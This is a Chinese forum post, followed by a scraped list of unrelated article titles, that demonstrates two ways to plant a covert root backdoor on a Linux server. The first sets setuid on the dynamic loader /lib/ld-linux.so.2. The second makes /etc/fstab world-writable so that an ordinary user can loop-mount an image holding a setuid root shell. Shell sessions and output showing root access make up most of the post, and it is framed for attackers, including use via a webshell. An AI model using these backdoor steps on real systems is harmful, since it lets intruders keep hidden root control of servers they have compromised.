Linux下留本地后门的两个方法

方法一:setuid的方法,其实8是很隐蔽。看看过程:

[root@localdomain lib]# ls -l |grep ld-linux

lrwxrwxrwx 1 root root    9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so

lrwxrwxrwx 1 root root    13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2

[root@localdomain lib]# chmod +s ld-linux.so.2

[root@localdomain lib]# ls -l |grep ld-2.7.so

-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so

lrwxrwxrwx 1 root root    9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so

[root@localdomain lib]#

我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。

普通用户登录,测试下权限:

[xiaoyu@localdomain ~]$ whoami

xiaoyu

[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`

root

[xiaoyu@localdomain ~]$

恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。

方法二:

看过程:

[root@localdomain etc]# chmod a+w /etc/fstab

[root@localdomain etc]#

这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下

[xiaoyu@localdomain ~]$ ls -l /etc/fstab

-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab

[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab

然后从本机把一个文件到目标机器上去,这里我们命名为test

[xiaoyu@localdomain tmp]$ ls -l test

-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test

[xiaoyu@localdomain tmp]$ mount test

[xiaoyu@localdomain tmp]$ cd /mnt

[xiaoyu@localdomain mnt]$ ls -l

total 18

drwx------ 2 root root 12288 2008-04-20 05:44 lost+found

-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root

[xiaoyu@localdomain mnt]$ ./root

sh-3.2#

看到了吧,从普通用户提升到root了。呵呵。

test这个文件baidu貌似木有上传功能撒,木办法传

貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....

[本话题由 tjhzh2009 于 2009-11-15 12:47:43 编辑]

linux服务器留后门,Linux下留本地后门的两个方法相关推荐

  1. 通过XShell将linux服务器上的Tomcat下项目部署后,怎样对日志操作来调试

    场景 使用XShell将linux服务器上的Tomcat下的项目部署后, 发现项目跑不起来. 此时你想通过查看Tomcat运行的日志来调试. 实现 可以进入到Tomcat下的logs目录下 输入: l ...

  2. 10g文件复制到linux,怎样将LINUX服务器上的10G文件下载到本地

    怎样将LINUX服务器上的10G文件下载到本地 如题 更新时间:2019-05-18 05:48 最满意答案 下载一个WinSCP 可以直接上传下载!很方便 就OK了! 2009-11-24 回答 其 ...

  3. 快速找出Linux服务器上不该存在恶意或后门文件

    转载来源 :如何快速找出Linux服务器上不该存在恶意或后门文件 :https://www.2cto.com/article/201805/748965.html 如何快速找出Linux服务器上不该存 ...

  4. linux服务器 远程桌面,Linux 远程桌面的两种方式

    在绝多数情况下,Linux 不需要使用到GUI的桌面环境,但是有时在一些特殊的场景如安装Oracle的时候,需要有图形界面进行辅助才可以安装. 如果要使用Linux的图形界面,一般有两种方式: 1.L ...

  5. linux服务器历险之linux性能监控

    linux服务器历险之linux性能监控 1.uptime uptime命令用于查看服务器运行了多长时间以及有多少个用户登录,快速获知服务器的负荷情况. uptime的输出包含一项内容是load av ...

  6. linux服务器关机日期,linux服务器last查看关机记录

    1.查看重启记录 last reboot命令 [root@test ~]# last reboot reboot system boot 2.6.-.el6.x Mon May : - : (+:) ...

  7. linux服务器清除cdn,Linux服务器中查找并删除大文件的五种方法,Linux系统清除文件内容的命令分享...

    很多时候,在处理Linux终端中的文件时,您可能希望清除文件的内容,而无需使用任何Linux命令行编辑器打开它.怎么能实现这一目标?在本文中,我们将借助一些有用的命令,通过几种不同的方式清空文件内容. ...

  8. linux删除用户删不了怎么办,Linux下完全删除用户的两种方法

    Linux操作 实验环境:Centos7虚拟机 首先创建一个普通用户 gubeiqing . [root@localhost ~]# useradd gubeiqing [root@localhost ...

  9. linux系统下重启网络服务的两种方法

    linux系统下重启网络服务的两种方法 发布时间:2020-04-02 11:25:25 来源:亿速云 阅读:207 作者:小新 今天小编给大家分享的是linux系统下重启网络服务的两种方法,很多人都 ...

  10. 红黑树在linux内核中的应用场景(红黑树,进程管理CFS,内存管理)丨epoll丨c/c++linux服务器开发丨linux后台开发

    红黑树在linux内核中的应用场景(红黑树,进程管理CFS,内存管理) 视频讲解如下: 红黑树在linux内核中的应用场景(红黑树,进程管理CFS,内存管理)丨epoll丨c/c++linux服务器开 ...

最新文章

  1. 记录call、apply、bind的源码
  2. 大规模的服务器如何管理--批量管理工具
  3. VS中监视窗口,即时窗口和输出窗口的使用
  4. 学c语言方法,学习C语言方法“新手必看”
  5. Linux流量监控工具 – iftop
  6. bottomnavigationview放大两边没有_有没有什么HAPPYEND的动漫?
  7. 【Java从0到架构师】Spring - 事务管理
  8. 网络虚拟化基础协议之Geneve
  9. 手推RNN BPTT(back propagation through time)反向传播
  10. Web GIS多种方式发布动态地图服务及显示(1)
  11. BigWorld用到的第三方库
  12. java对大陆身份证号码验证
  13. android系统裁剪优化
  14. 百问网物联网实战-STM32中断
  15. How to prevent object bloat in PostgreSQL
  16. 目标检测 YOLO v3 验证 COCO 模型
  17. Python-下载MP3
  18. 如何将 Chrome 用作 IDE
  19. 一文读懂网关中间件-Nginx
  20. 【考研plog】考研相关文件规定

热门文章

  1. java ffmpeg 合并视频_ffmpeg 合并拼接 mp4视频
  2. 如何在基于vue-cli的项目中,使用精灵图 css sprite
  3. node koa解析excel表格 .xlsx .xls
  4. rk3288 SDK概览
  5. 蓝牙 aptx android,没错,现在蓝牙耳机可以开始谈音质了 高通aptX HD SONY LDAC
  6. SQLServer 自定义函数 日期计算月初/月末/年初/年末/季初/季末
  7. C#实现HDMI音视频采集和处理
  8. c语言定义禁止优化变量,c语言防止优化
  9. BMI指数(Body Mass Index身体质量指数),简称体质指数又称体重指数,BMI值是根据你的身高、体重按照一定的公式得出数值,是一个衡量你身体健康的参数。
  10. [分形学] Julia Set (茱莉亚集) VC 源代码